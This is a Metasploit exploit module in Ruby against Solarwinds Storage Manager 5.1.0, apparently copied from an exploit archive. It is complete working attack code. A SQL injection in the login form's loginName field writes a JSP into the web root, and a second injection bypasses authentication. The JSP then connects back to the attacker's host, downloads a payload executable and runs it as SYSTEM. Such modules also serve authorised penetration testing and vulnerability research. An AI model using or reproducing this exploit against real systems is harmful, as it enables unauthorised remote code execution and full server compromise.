1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::TcpServer include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Solarwinds Storage Manager 5.1.0 SQL Injection", 'Description'=> %q{ This module exploits a SQL injection found in Solarwinds Storage Manager login interface.It will send a malicious SQL query to create a JSP file under the web root directory, and then let it download and execute our malicious executable under the context of SYSTEM. }, 'License'=> MSF_LICENSE, 'Author' => [ 'r@b13$', # Original discovery by Digital Defense VRT 'muts', # PoC 'sinn3r'# Metasploit ], 'References' => [ ['EDB', '18818'], ['URL', 'http://ddilabs.blogspot.com/2012/02/solarwinds-storage-manager-server-sql.html'], ['URL', 'http://www.solarwinds.com/documentation/storage/storagemanager/docs/ReleaseNotes/vulnerability.htm'] ], 'Payload'=> { 'BadChars' => "\x00", }, 'DefaultOptions'=> { 'ExitFunction' => "none" }, 'Platform' => 'win', 'Targets'=> [ # Win XP / 2003 / Vista / Win 7 / etc ['Windows Universal', {}] ], 'Privileged' => false, 'DisclosureDate' => "Dec 7 2011", 'DefaultTarget'=> 0)) register_options( [ OptPort.new('RPORT', [true, 'The target port', 9000]) ], self.class) end # # A very gentle check to see if Solarwinds Storage Manage exists or not # def check res = send_request_raw({ 'method' => 'GET', 'uri'=> '/LoginServlet' }) if res and res.body =~ /\<title>\SolarWinds \- Storage Manager\<\/title\>/ and res.body =~ /\<img style="padding\-top:30px;" src="https://www.exploit-db.com/exploits/18833/\/images\/logo_solarwinds_login\.png" width="163" height="70" alt="SolarWinds Storage Manager"\>/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end # # Remove the JSP once we get a shell. # We cannot delete the executable because it will still be in use. # def on_new_session(cli) if cli.type != 'meterpreter' print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}") return end cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") begin jsp = @outpath.gsub(/\//, "\\\\") jsp = jsp.gsub(/"/, "") vprint_status("#{rhost}:#{rport} - Deleting: #{jsp}") cli.fs.file.rm(jsp) print_status("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted") rescue ::Exception => e print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}") end end # # Transfer the malicious executable to our victim # def on_client_connect(cli) print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)") cli.put(@native_payload) service.close_client(cli) end # # Generate a download+exe JSP payload # def generate_jsp_payload my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST'] my_port = datastore['SRVPORT'] # tmp folder = C:\Program Files\SolarWinds\Storage Manager Server\temp\ # This will download our malicious executable in base64 format, decode it back, # save it as a temp file, and then finally execute it. jsp = %Q| <%@page import="java.io.*"%> <%@page import="java.net.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% StringBuffer buf = new StringBuffer(); byte[] shellcode = null; BufferedOutputStream outstream = null; try { Socket s = new Socket("#{my_host}", #{my_port}); BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream())); while (buf.length() < #{@native_payload.length}) { buf.append( (char) r.read()); } BASE64Decoder decoder = new BASE64Decoder(); shellcode = decoder.decodeBuffer(buf.toString()); File temp = File.createTempFile("#{@native_payload_name}", ".exe"); String path = temp.getAbsolutePath(); outstream = new BufferedOutputStream(new FileOutputStream(path)); outstream.write(shellcode); outstream.close(); Process p = Runtime.getRuntime().exec(path); } catch (Exception e) {} %> | jsp = jsp.gsub(/\n/, '') jsp = jsp.gsub(/\t/, '') jsp.unpack("H*")[0] end # # Run the actual exploit # def inject_exec # This little lag is meant to ensure the TCP server runs first before the requests select(nil, nil, nil, 1) # Inject our JSP payload print_status("#{rhost}:#{rport} - Sending JSP payload") pass = rand_text_alpha(rand(10)+5) hex_jsp= generate_jsp_payload res = send_request_cgi({ 'method'=> 'POST', 'uri' => '/LoginServlet', 'headers' => { 'Accept-Encoding' => 'identity' }, 'vars_post'=> { 'loginState' => 'checkLogin', 'password' => pass, 'loginName'=> "AAA' union select 0x#{hex_jsp},2,3,4,5,6,7,8,9,10,11,12,13,14 into outfile #{@outpath}#" } }) # Pick up the cookie, example: # JSESSIONID=D90AC5C0BB43B5AC1396736214A1B5EB if res and res.headers['Set-Cookie'] =~ /JSESSIONID=(\w+);/ cookie = "JSESSIONID=#{$1}" else print_error("Unable to get a session ID") return end # Trigger the JSP print_status("#{rhost}:#{rport} - Trigger JSP payload") send_request_cgi({ 'method'=> 'POST', 'uri' => '/LoginServlet', 'headers' => { 'Cookie' => cookie, 'Accept-Encoding' => 'identity' }, 'vars_post' => { 'loginState' => 'checkLogin', 'password' => pass, 'loginName'=> "1' or 1=1#--" } }) res = send_request_raw({ 'method'=> 'POST', 'uri' => "/#{@jsp_name + '.jsp'}", 'headers' => { 'Cookie' => cookie } }) handler end # # The server must start first, and then we send the malicious requests # def exploit # Avoid passing this as an argument for performance reasons # This is in base64 is make sure our file isn't mangled @native_payload= [generate_payload_exe].pack("m*") @native_payload_name = rand_text_alpha(rand(6)+3) @jsp_name= rand_text_alpha(rand(6)+3) @outpath = "\"C:/Program Files/SolarWinds/Storage Manager Server/webapps/ROOT/#{@jsp_name + '.jsp'}\"" begin t = framework.threads.spawn("reqs", false) { inject_exec } print_status("Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") super ensure t.kill end end end |